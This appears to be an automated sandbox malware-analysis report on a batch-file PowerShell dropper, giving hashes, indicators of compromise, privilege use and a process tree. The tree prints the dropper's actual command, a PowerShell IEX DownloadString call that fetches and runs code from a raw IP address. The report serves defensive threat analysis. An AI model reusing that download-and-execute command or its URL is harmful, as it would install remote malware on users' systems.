c3db21a3bdac87c8d424b99e8982e5ab86b8f648e7ec7c9268ea50621aa0c718

Analysis

Target

Muz2mJiJ.bat
Size

189B
MD5

bb4861fd9b1cd958fbdd63202aaf58a1
SHA1

2646649376f6f3d50a9c2c07e1cad41e7100c17c
SHA256

c3db21a3bdac87c8d424b99e8982e5ab86b8f648e7ec7c9268ea50621aa0c718
SHA512

c6813ea6762f16b446d053073ada0da7417e0160f265c9ed8244d6fd233b7c5c122ca9a5662076fd7afdc5644e0bd6d059cf3542142a5c3ff228574f41d909a8

Score

10^/10

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/Muz2mJiJ

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 7 http://www.msftconnecttest.com/connecttest.txt
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2700 2156 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2700 WerFault.exe
Token: SeBackupPrivilege 2700 WerFault.exe
Token: SeDebugPrivilege 2700 WerFault.exe

description	flow	ioc
HTTP URL	7	http://www.msftconnecttest.com/connecttest.txt

pid	pid_target	process	target process
2700	2156	WerFault.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Muz2mJiJ.bat"
1⤵
PID:1616

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/Muz2mJiJ');Invoke-KFSFPL;Start-Sleep -s 10000"
2⤵
PID:2156

memory/2700-0-0x0000000004490000-0x0000000004491000-memory.dmp

Filesize
4KB

Download
memory/2700-1-0x0000000004C40000-0x0000000004C41000-memory.dmp

Filesize
4KB

Download